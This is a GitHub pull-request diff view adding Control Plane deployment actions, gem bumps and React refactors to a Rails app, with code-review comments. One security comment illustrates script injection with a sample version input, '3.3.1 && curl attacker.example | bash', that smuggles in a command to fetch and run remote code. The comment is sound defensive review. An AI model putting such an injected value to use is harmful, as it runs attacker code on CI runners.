Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion .controlplane/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,8 @@ RUN SECRET_KEY_BASE=precompile_placeholder bin/rails react_on_rails:locale
# and /app/client/app are the client assets that are bundled, so not needed once built
# Helps to have smaller images b/c of smaller Docker Layer Caches and smaller final images

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor inconsistency: this step uses bundle exec rake while the very next line uses bin/rails. bin/rails is the project-standard wrapper (it also invokes Bundler) and is consistent with the react_on_rails:locale call above.

Suggested change
# Helps to have smaller images b/c of smaller Docker Layer Caches and smaller final images
RUN SECRET_KEY_BASE=precompile_placeholder bin/rails react_on_rails:generate_packs && \

# SECRET_KEY_BASE is required for asset precompilation but is not persisted in the image
RUN SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
RUN SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \
SECRET_KEY_BASE=precompile_placeholder yarn res:build && \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The build order here (generate_packsres:build) is reversed compared to both config/initializers/react_on_rails.rb and package.json, where res:build always runs first. If generate_packs creates entry points that reference ReScript-compiled modules (.res.js), running it before res:build will operate on stale or absent output. The ordering should be consistent across all build surfaces.

Suggested change
SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
RUN SECRET_KEY_BASE=precompile_placeholder yarn res:build && \
SECRET_KEY_BASE=precompile_placeholder bundle exec rake react_on_rails:generate_packs && \
SECRET_KEY_BASE=precompile_placeholder bin/rails assets:precompile && \
rm -rf /app/lib/bs /app/client/app

SECRET_KEY_BASE=precompile_placeholder bin/rails assets:precompile && \
rm -rf /app/lib/bs /app/client/app
Comment on lines +75 to 78

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 generate_packs runs before res:build, opposite order to every other build path

Every other invocation in this PR (config/initializers/react_on_rails.rb build_test_command/build_production_command, and both package.json build:test/build:dev scripts) runs yarn res:build before react_on_rails:generate_packs. Here the Dockerfile does the reverse. If the pack generator reads or validates any .res.js output — or if future changes add that dependency — the Docker build will silently use stale or absent ReScript artifacts while passing locally. Consider matching the order established by the other build commands, or add a comment explaining why the Docker layer-caching trade-off justifies the inversion.


Expand Down
14 changes: 8 additions & 6 deletions .controlplane/templates/org.yml
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
# Org level secrets are used to store sensitive information that is
# shared across multiple apps in the same organization. This is
# useful for storing things like API keys, database credentials, and
# other sensitive information that is shared across multiple apps
# in the same organization.
# App secret dictionaries store sensitive information for apps in the
# organization. This template keeps the cpflow app-secret placeholders
# {{APP_SECRETS}} and {{APP_SECRETS_POLICY}}.
#
# cpflow 5.1.1 shared_secret_grants are only for a separate shared
# org-level dictionary referenced from app/workload templates with
# {{SHARED_SECRET_<NAME>}}.

# The qa-* dictionary is bootstrapped via this template for review apps.
# Review apps run pull request code, so values in this dictionary must be
Expand All @@ -29,7 +31,7 @@ data:

---

# Policy is needed to allow identities to access secrets
# App secret policy grants app identities reveal access to this dictionary.
kind: policy
name: {{APP_SECRETS_POLICY}}
targetKind: secret
Expand Down
99 changes: 99 additions & 0 deletions .github/actions/cpflow-build-docker-image/action.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
name: Build Docker Image
description: Builds and pushes the app image for a Control Plane workload

inputs:
app_name:
description: Name of the application
required: true
org:
description: Control Plane organization name
required: true
commit:
description: Commit SHA to tag the image with
required: true
pr_number:
description: Pull request number for status messaging
required: false
docker_build_extra_args:
description: Optional newline-delimited extra docker build tokens. Use key=value forms like --build-arg=FOO=bar.
required: false
docker_build_ssh_key:
description: Optional private SSH key used for Docker builds that fetch private dependencies with RUN --mount=type=ssh
required: false
docker_build_ssh_known_hosts:
description: Optional SSH known_hosts entries used with docker_build_ssh_key. Defaults to pinned GitHub.com host keys.
required: false

outputs:
image_tag:
description: Fully qualified image tag
value: ${{ steps.build.outputs.image_tag }}

runs:
using: composite
steps:
- name: Build Docker image
id: build
shell: bash
env:
APP_NAME: ${{ inputs.app_name }}
COMMIT: ${{ inputs.commit }}
DOCKER_BUILD_EXTRA_ARGS: ${{ inputs.docker_build_extra_args }}
DOCKER_BUILD_SSH_KEY: ${{ inputs.docker_build_ssh_key }}
DOCKER_BUILD_SSH_KNOWN_HOSTS: ${{ inputs.docker_build_ssh_known_hosts }}
ORG: ${{ inputs.org }}
PR_NUMBER: ${{ inputs.pr_number }}
run: |
set -euo pipefail

PR_INFO=""
docker_build_args=()

if [[ -n "$PR_NUMBER" ]]; then
PR_INFO=" for PR #${PR_NUMBER}"
fi

if [[ -n "$DOCKER_BUILD_EXTRA_ARGS" ]]; then
while IFS= read -r arg; do
arg="${arg%$'\r'}"
[[ -n "${arg}" ]] || continue

if [[ "${arg}" =~ [[:space:]] ]]; then
echo "docker_build_extra_args entries must be single docker-build tokens. " \
"Use key=value forms like --build-arg=FOO=bar." >&2
exit 1
fi

docker_build_args+=("${arg}")
done <<< "$DOCKER_BUILD_EXTRA_ARGS"
fi

if [[ -n "$DOCKER_BUILD_SSH_KEY" ]]; then
mkdir -p ~/.ssh
chmod 700 ~/.ssh

if [[ -n "$DOCKER_BUILD_SSH_KNOWN_HOSTS" ]]; then
printf '%s\n' "$DOCKER_BUILD_SSH_KNOWN_HOSTS" > ~/.ssh/known_hosts
else
cat <<'EOF' > ~/.ssh/known_hosts
github.com ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl
github.com ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEmKSENjQEezOmxkZMy7opKgwFB9nkt5YRrYMjNuG5N87uRgg6CLrbo5wAdT/y6v0mKV0U2w0WZ2YB/++Tpockg=
github.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj7ndNxQowgcQnjshcLrqPEiiphnt+VTTvDP6mHBL9j1aNUkY4Ue1gvwnGLVlOhGeYrnZaMgRK6+PKCUXaDbC7qtbW8gIkhL7aGCsOr/C56SJMy/BCZfxd1nWzAOxSDPgVsmerOBYfNqltV9/hWCqBywINIR+5dIg6JTJ72pcEpEjcYgXkE2YEFXV1JHnsKgbLWNlhScqb2UmyRkQyytRLtL+38TGxkxCflmO+5Z8CSSNY7GidjMIZ7Q4zMjA2n1nGrlTDkzwDCsw+wqFPGQA179cnfGWOWRVruj16z6XyvxvjJwbz0wQZ75XK5tKSb7FNyeIEs4TT4jk+S4dhPeAUC5y+bDYirYgM4GC7uEnztnZyaVWQ7B381AK4Qdrwt51ZqExKbQpTUNn+EjqoTwvqNj4kqx5QUCI0ThS/YkOxJCXmPUWZbhjpCg56i+2aB6CmK2JGhn57K5mj0MNdBXA4/WnwH6XoPWJzK5Nyu2zB3nAZp+S5hpQs+p1vN1/wsjk=
EOF
fi

chmod 600 ~/.ssh/known_hosts

eval "$(ssh-agent -s)"
trap 'ssh-agent -k >/dev/null' EXIT
ssh-add - <<< "$DOCKER_BUILD_SSH_KEY"
unset DOCKER_BUILD_SSH_KEY
docker_build_args+=("--ssh=default")
fi

echo "🏗️ Building Docker image${PR_INFO} (commit ${COMMIT})..."
cpflow build-image -a "$APP_NAME" --commit="$COMMIT" --org="$ORG" "${docker_build_args[@]}"

image_tag="${ORG}/${APP_NAME}:${COMMIT}"
echo "image_tag=${image_tag}" >> "$GITHUB_OUTPUT"
echo "✅ Docker image build successful${PR_INFO} (commit ${COMMIT})"
24 changes: 24 additions & 0 deletions .github/actions/cpflow-delete-control-plane-app/action.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
name: Delete Control Plane App
description: Deletes a Control Plane app and all associated resources

inputs:
app_name:
description: Name of the application to delete
required: true
cpln_org:
description: Control Plane organization name
required: true
review_app_prefix:
description: Prefix used for review app names
required: true

runs:
using: composite
steps:
- name: Delete application
shell: bash
run: ${{ github.action_path }}/delete-app.sh
env:
APP_NAME: ${{ inputs.app_name }}
CPLN_ORG: ${{ inputs.cpln_org }}
REVIEW_APP_PREFIX: ${{ inputs.review_app_prefix }}
49 changes: 49 additions & 0 deletions .github/actions/cpflow-delete-control-plane-app/delete-app.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
#!/bin/bash

set -euo pipefail

: "${APP_NAME:?APP_NAME environment variable is required}"
: "${CPLN_ORG:?CPLN_ORG environment variable is required}"
: "${REVIEW_APP_PREFIX:?REVIEW_APP_PREFIX environment variable is required}"

expected_prefix="${REVIEW_APP_PREFIX}-"
if [[ "$APP_NAME" != "${expected_prefix}"* ]]; then
echo "❌ ERROR: refusing to delete an app outside the review app prefix" >&2
echo "App name: $APP_NAME" >&2
echo "Expected prefix: ${expected_prefix}" >&2
exit 1
fi

echo "🔍 Checking if application exists: $APP_NAME"
exists_output=""
set +e
exists_output="$(cpflow exists -a "$APP_NAME" --org "$CPLN_ORG" 2>&1)"
exists_status=$?
set -e

case "$exists_status" in
0)
;;
3)
if [[ -n "$exists_output" ]]; then
printf '%s\n' "$exists_output"
fi

echo "⚠️ Application does not exist: $APP_NAME"
exit 0
;;
*)
echo "❌ ERROR: failed to determine whether application exists: $APP_NAME" >&2
printf '%s\n' "$exists_output" >&2
exit 1
;;
esac

if [[ -n "$exists_output" ]]; then
printf '%s\n' "$exists_output"
fi

echo "🗑️ Deleting application: $APP_NAME"
cpflow delete -a "$APP_NAME" --org "$CPLN_ORG" --yes

echo "✅ Successfully deleted application: $APP_NAME"
70 changes: 70 additions & 0 deletions .github/actions/cpflow-setup-environment/action.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
name: Setup Control Plane Environment
description: Sets up Ruby, installs the Control Plane CLI and cpflow gem, and configures a default profile

inputs:
token:
description: Control Plane token
required: true
org:
description: Control Plane organization
required: true
ruby_version:
description: Ruby version used for cpflow
required: false
default: "3.4.6"
cpln_cli_version:
description: "@controlplane/cli version"
required: false
default: "3.3.1"
cpflow_version:
description: cpflow gem version
required: false
default: "5.1.1"

runs:
using: composite
steps:
- name: Set up Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ inputs.ruby_version }}

- name: Install Control Plane CLI and cpflow gem
shell: bash
run: |
set -euo pipefail

sudo npm install -g @controlplane/cli@${{ inputs.cpln_cli_version }}
cpln --version

gem install cpflow -v ${{ inputs.cpflow_version }}
Comment on lines +37 to +40

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Shell injection via unquoted input interpolation

${{ inputs.cpln_cli_version }} and ${{ inputs.cpflow_version }} are substituted by GitHub Actions before the shell sees the script, so any whitespace or shell metacharacters in the values are executed verbatim. A caller passing cpln_cli_version: "3.3.1 && curl attacker.example | bash" would run arbitrary code. The sibling cpflow-build-docker-image/action.yml correctly uses an env: block for all its inputs — the same pattern should be applied here. Move all four inputs (token, org, cpln_cli_version, cpflow_version) to env: entries on their respective steps and reference them as $VAR_NAME in the shell.

cpflow --version

- name: Setup Control Plane profile and registry login
shell: bash
run: |
set -euo pipefail

TOKEN="${{ inputs.token }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using ${{ inputs.token }} directly in a run: block text-substitutes the value into the YAML before the shell sees it. If the token ever contains ", $, or backticks the interpolation will corrupt the value or cause unexpected shell behaviour.

Prefer mapping it through env: so the shell receives it as an environment variable:

Suggested change
TOKEN="${{ inputs.token }}"
- name: Setup Control Plane profile and registry login
shell: bash
env:
TOKEN: ${{ inputs.token }}
ORG: ${{ inputs.org }}
run: |
set -euo pipefail

Then remove the two TOKEN=... / ORG=... assignment lines below and use $TOKEN / $ORG directly (they're already in the environment).

ORG="${{ inputs.org }}"
Comment on lines +45 to +49

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TOKEN and ORG are set via direct ${{ inputs.* }} interpolation inside the shell script, which is a script injection vector — if either input contains shell metacharacters, they execute in context. The sibling cpflow-build-docker-image action handles this correctly by passing all inputs through the env: block and only referencing them as $VAR in the script body. Apply the same pattern here:

Suggested change
run: |
set -euo pipefail
TOKEN="${{ inputs.token }}"
ORG="${{ inputs.org }}"
env:
TOKEN: ${{ inputs.token }}
ORG: ${{ inputs.org }}
run: |
set -euo pipefail

Then replace the inline TOKEN=... / ORG=... assignments with plain $TOKEN / $ORG references.


if [[ -z "$TOKEN" ]]; then
echo "Error: Control Plane token not provided" >&2
exit 1
fi

if [[ -z "$ORG" ]]; then
echo "Error: Control Plane organization not provided" >&2
exit 1
fi

Comment on lines +51 to +60

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Dead code: both token and org inputs are declared required: true at lines 4 and 8, so GitHub Actions will fail the job before the shell script ever runs if they are absent. These runtime checks add noise without providing any additional safety. They can be removed.

create_output=""
if ! create_output="$(cpln profile create default --token "$TOKEN" --org "$ORG" 2>&1)"; then
if ! echo "$create_output" | grep -qi "already exists"; then
echo "$create_output" >&2
exit 1
fi
fi

cpln profile update default --org "$ORG" --token "$TOKEN"
cpln image docker-login --org "$ORG"
6 changes: 3 additions & 3 deletions Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,7 @@ GEM
coffee-script-source (1.12.2)
concurrent-ruby (1.3.6)
connection_pool (3.0.2)
console (1.35.1)
console (1.36.0)
fiber-annotation
fiber-local (~> 1.1)
json
Expand Down Expand Up @@ -201,7 +201,7 @@ GEM
jbuilder (2.12.0)
actionview (>= 5.0.0)
activesupport (>= 5.0.0)
json (2.19.5)
json (2.19.8)
jwt (3.2.0)
base64
language_server-protocol (3.17.0.5)
Expand Down Expand Up @@ -505,7 +505,7 @@ GEM
bindex (>= 0.4.0)
railties (>= 6.0.0)
websocket (1.2.10)
websocket-driver (0.8.0)
websocket-driver (0.8.1)
base64
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@

ShakaCode recently migrated [HiChee.com](https://hichee.com) to Control Plane, resulting in a two-thirds reduction in server hosting costs!

See doc in [./.controlplane/readme.md](./.controlplane/readme.md) for how to easily deploy this app to Control Plane.
See [./.controlplane/readme.md](./.controlplane/readme.md) for local `cpflow` setup plus the shared `cpflow-*` GitHub Actions flow for review apps, automatic staging deploys, and manual promotion to production.

The instructions leverage the `cpflow` CLI, with source code and many more tips on how to migrate from Heroku to Control Plane
in https://github.com/shakacode/heroku-to-control-plane.
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,7 @@ describe('CommentList', () => {
);

it('renders a list of Comments in normal order', () => {
render(
<CommentList $$comments={comments} cssTransitionGroupClassNames={cssTransitionGroupClassNames} />,
);
render(<CommentList $$comments={comments} cssTransitionGroupClassNames={cssTransitionGroupClassNames} />);

// Verify both authors are rendered in order
expect(screen.getByText('Frank')).toBeInTheDocument();
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
/* eslint-disable max-classes-per-file */

'use client';

import React from 'react';
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,22 +8,22 @@ import { useRSC } from 'react-on-rails-pro/RSCProvider';
// Same shape and dimensions as the rendered LiveActivity card. Local Suspense
// fallback prevents the RSCRoute suspension from bubbling to an outer
// boundary, which would collapse the whole page during in-flight fetches.
const ActivityCardSkeleton = () => (
<div className="bg-gradient-to-br from-indigo-50 to-purple-50 border border-indigo-200 rounded-xl p-5">
<div className="grid grid-cols-3 gap-4 text-sm">
{['Server Time', 'Free RAM', 'Uptime (hrs)'].map((label) => (
<div key={label}>
<div className="text-xs text-indigo-600 font-medium uppercase tracking-wide mb-1">
{label}
function ActivityCardSkeleton() {
return (
<div className="bg-gradient-to-br from-indigo-50 to-purple-50 border border-indigo-200 rounded-xl p-5">
<div className="grid grid-cols-3 gap-4 text-sm">
{['Server Time', 'Free RAM', 'Uptime (hrs)'].map((label) => (
<div key={label}>
<div className="text-xs text-indigo-600 font-medium uppercase tracking-wide mb-1">{label}</div>
<div className="font-mono text-indigo-300 animate-pulse">—</div>
</div>
<div className="font-mono text-indigo-300 animate-pulse">—</div>
</div>
))}
))}
</div>
</div>
</div>
);
);
}

const LiveActivityRefresher = () => {
function LiveActivityRefresher() {
const [refreshKey, setRefreshKey] = useState(0);
const [simulateError, setSimulateError] = useState(false);
const { refetchComponent } = useRSC();
Expand Down Expand Up @@ -94,6 +94,6 @@ const LiveActivityRefresher = () => {
</ErrorBoundary>
</div>
);
};
}

export default LiveActivityRefresher;
Loading
Loading